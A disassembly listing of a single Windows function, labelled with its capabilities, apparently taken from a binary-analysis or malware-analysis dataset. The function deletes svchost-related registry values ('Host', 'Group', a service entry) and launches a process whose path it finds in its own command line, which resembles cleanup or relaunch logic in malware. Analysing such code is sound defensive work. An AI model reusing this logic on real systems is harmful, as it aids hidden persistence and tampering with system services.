Function at 0x10009ce0
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Delete registry value
Get file attributes

Disassembly:
sub esp, 0x4e8
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x4e4], eax
push ebx
push ebp
push esi
push edi
xor ebp, ebp
xor ebx, ebx
mov dword [esp + 0x40], vtable.CMyEncode.0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [esp + 0xa8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x44], eax
push 0x1c
movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x50], ebp
mov dword [esp + 0x54], ebp
mov dword [esp + 0x58], ebp
mov ecx, 0x10
lea esi, [esp + 0xb0]
lea edi, [esp + 0x5c]
push fcn.10008f30
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, eax
neg esi
sbb esi, esi
and esi, dword [esp + 0x28]
push 0x208
lea ecx, [esp + 0x2f0]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x2f0]
call fcn.10008be0
cmp eax, ebp
je 0x10009e3e
mov ecx, 0x1008a9f4
call fcn.10008e40
cmp eax, ebp
je 0x10009e3e
mov ebx, eax
call fcn.1000b2b0
push eax
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [esp + 0xec]
push ecx
call fcn.10009780
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add esp, 4
lea edx, [esp + 0x10]
push edx
push 0x20006
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push getsockname
call ebx
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
lea eax, [esp + 0xec]
push eax
push ecx
call edi
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push getsockname
call ebx
mov ecx, dword [esp + 0x10]
push str.Host
push ecx
call edi
mov edx, dword [esp + 0x10]
push str.Group
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
call ebp
mov ebx, 1
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, dword [0x1008a9fc]
mov ecx, dword [0x1008a9f8]
mov dword [esp + 0x98], edx
mov edx, dword [0x1008aa04]
mov dword [esp + 0x94], ecx
mov ecx, dword [0x1008aa00]
mov dword [esp + 0xa0], edx
lea edx, [esp + 0x94]
mov dword [esp + 0x9c], ecx
mov cx, word [0x1008aa08]
push edx
push eax
mov word [esp + 0xac], cx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov edi, eax
cmp edi, ebp
je 0x10009f05
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10009f05
push 0x40
xor eax, eax
lea ecx, [esp + 0xb0]
push ebp
push ecx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0xb4], 0x44
call fcn.100113d0
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xac]
push eax
push ebp
push ebp
push 0x20
push ebp
push ebp
push ebp
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push esi
call fcn.10009b70
mov eax, dword [esp + 0x4c]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 4
mov dword [esp + 0x40], vtable.CMyEncode.0
cmp eax, ebp
je 0x10009f2d
mov ecx, dword [esp + 0x44]
push eax
push ebp
push ecx
call esi
mov eax, dword [esp + 0x4c]
cmp eax, ebp
je 0x10009f3e
mov edx, dword [esp + 0x44]
push eax
push ebp
push edx
call esi
mov eax, dword [esp + 0x50]
cmp eax, ebp
je 0x10009f4f
push eax
mov eax, dword [esp + 0x48]
push ebp
push eax
call esi
mov ecx, dword [esp + 0x4f4]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x4e8
ret